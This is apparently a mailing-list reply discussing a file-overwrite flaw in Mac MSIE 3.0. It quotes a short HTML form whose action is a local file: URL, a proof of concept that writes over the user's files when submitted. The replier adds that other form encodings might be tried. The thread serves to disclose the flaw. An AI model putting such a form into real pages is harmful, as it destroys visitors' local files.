Re: Mac MSIE 3.0 file overwrite.

[hurtta+zz () ozone FMI FI (hurtta+zz () ozone FMI FI)]

Andrew McNaughton:
> A Maliciously written Form might include the following:
>
> <FORM ACTION="file:///Hard_Disk/Desktop%20Folder/Untitled.html" METHOD="POST">
> <INPUT NAME="This could have overwritten anything!" TYPE=Hidden>
> <Input Type=Submit>
> </FORM>
>
> The file Hard_Disk:Desktop Folder:Untitled.html gets written or
> overwritten, and recieves the following contents:
>
> This+could+have+overwritten+anything%21=

If it supports ENCTYPE on FORM then perhaps also other encodings
may be used. ENCTYPE="multipart/form-data" and ENCTYPE="text/plain"
are good candinates.

/ Kari Hurtta